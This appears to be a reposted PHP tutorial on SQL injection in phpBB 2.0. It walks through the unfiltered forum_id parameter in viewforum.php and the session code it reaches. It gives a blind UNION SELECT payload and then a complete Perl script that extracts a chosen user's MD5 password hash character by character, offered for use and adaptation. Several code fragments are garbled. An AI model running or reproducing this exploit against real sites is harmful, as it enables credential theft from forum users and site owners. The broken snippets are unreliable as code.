PHP injection example_PHP tutorial-PHP Tutorial-php.cn

PHP injection example_PHP tutorial

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Release： 2016-07-21 16:09:12

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php injection example It’s hard to find a complete article about PHP injection and application code on the Internet, so I have been chewing mysql and PHP for a few weeks. Let me talk about my experience below, hoping to inspire others!
I believe everyone will be interested in it. I am already very familiar with the injection of asp, but the injection of php is more difficult than that of asp, because the magic_gpc option of php is really a headache. Do not use quotation marks in the injection, and php is mostly combined with mysql, and the functional shortcomings of mysql , from the perspective of another person, it does prevent SQL Injection attacks to a certain extent. Let me give an example here. I take phpbb2.0 as an example:
There is a variable in viewforum.php that is not filtered:
if ( isset($HTTP_GET_VARS{
$forum_id = ( isset($HTTP_GET_VARS
($HTTP_POST_VARS}
else if ( isset($HTTP_GET_VARS['forum']))
{
$forum_id = $ HTTP_GET_VARS['forum'];
}
else
{
$forum_id = '';
}
It is this forum, and it is directly put into the query below:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";
if ( ! ($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not obtain forums information', '', __LINE__, __FILE__, $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}

If it is asp, I believe many people will inject it. If this forum_id specifies If the forum does not exist, $result will be empty, and the message "Could not obtain forums information" will be returned, so the following code cannot be executed
//
// If the query doesn't return any rows this isn't a valid forum. Inform
// the user.
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}

//
// Start session management
//
$userdata = session_pagestart($user_ip, $forum_id ) /******************************************

The key is The line marked with an asterisk, here is a function session_pagestart($user_ip, $thispage_id), which is a function defined in session.php. Since the code is too

long, I will not post it in full. Those who are interested can take a look for themselves. The key is that this function also calls session_begin(). The function call is as follows session_begin($user_id, $user_ip,

$thispage_id, TRUE)), which is also defined in this file. , which contains the following code
$sql = "UPDATE " . SESSIONS_TABLE . "
SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =

$page_id, session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() )
{
$session_id = md5(uniqid($user_ip));

$sql = "INSERT INTO " . SESSIONS_TABLE . "
(session_id, session_user_id, session_start, session_time, session_ip, session_page,

session_logged_in)
VALUES ('$session_id', $user_id, $current_time, $current_time, '$user_ip', $page_id, $ login)";
if ( !($result = $db->sql_query($sql)) )
{
message_die(CRITICAL_ERROR, 'Error creating new session: session_begin', '', __LINE__ , __FILE__,

$sql);
}

There is a session_page here which is defined as an integer in mysql. Its value $page_id is also $forum_id. If the inserted value is not an integer, an error will be reported and an Error will appear

Creating new session: session_begin prompt, so it is very important to refer to the value of $forum_id, so I specified it as:-1%20union%20select%201,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1 ,1))=57, no quotation marks! Although a non-existent forum_id is specified, the query result returned is not necessarily empty. This is to guess the ASCII code value of the first password of the user whose user_id is 2. Is it 57? If so, the $result in the first code in the article is not empty, so the problematic function session_pagestart is executed. If the inserted number is not an integer, of course an error will occur, so an Error creating new session will be displayed. : session_begin, it means you guessed the first one correctly, and the other bits are similar.

If there is no such error message, I think even if the injection is successful, it will be difficult to judge whether it has been successful. It seems that the error message is also very It’s helpful. The analysis ends here. Attached is a piece of test code. This code can be applied to other similar situations of guessing md5 passwords with slight modifications. Here I use the English version of the return conditions, Chinese and other languages. Just change the return conditions.

use HTTP::Request::Common;
use HTTP::Response;
use LWP::UserAgent;
$ua = new LWP ::UserAgent;

print " *************************n";
print " phpbb viewforum.php expn";
print " code by pinkeyesn";
print " www.icehack.comn";
print " ************************* *n";
print "please enter the weak file's url:n";
print "e.g. http://192.168.1.4/phpBB2/viewforum.phpn";
$adr= ;
chomp($adr);
print "please enter the user_id that you want to crackn";
$u=;
chomp($u);
print "work starting,please wait!n";
@pink=(48..57);
@pink=(@pink,97..102);
for($j=1;$ j<=32;$j++){
for ($i=0;$i<@pink;$i++){
$url=$adr."?forum=-1%20union%20select%201 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%

20user_id=$u%20and%20ord(substring(user_password,$j,1))=$pink[$i]";
$request = HTTP::Request->new('GET ', "$url");
$response = $ua->request($request);

if ($response->is_success) {
if ($response-> ;content =~ /Error creating new session/) {
$pwd.=chr($pink[$i]);
print "$pwdn";
}

}
}
}
if ($pwd ne ""){
print "successfully,The password is $pwd,good luckn";}
else{
print "bad luck, work failed!n";}

As for the recent search.php problem of phpbb2.0.6, the application only needs to slightly modify the above code. If there are any errors, please go to www.icehack.com to correct them.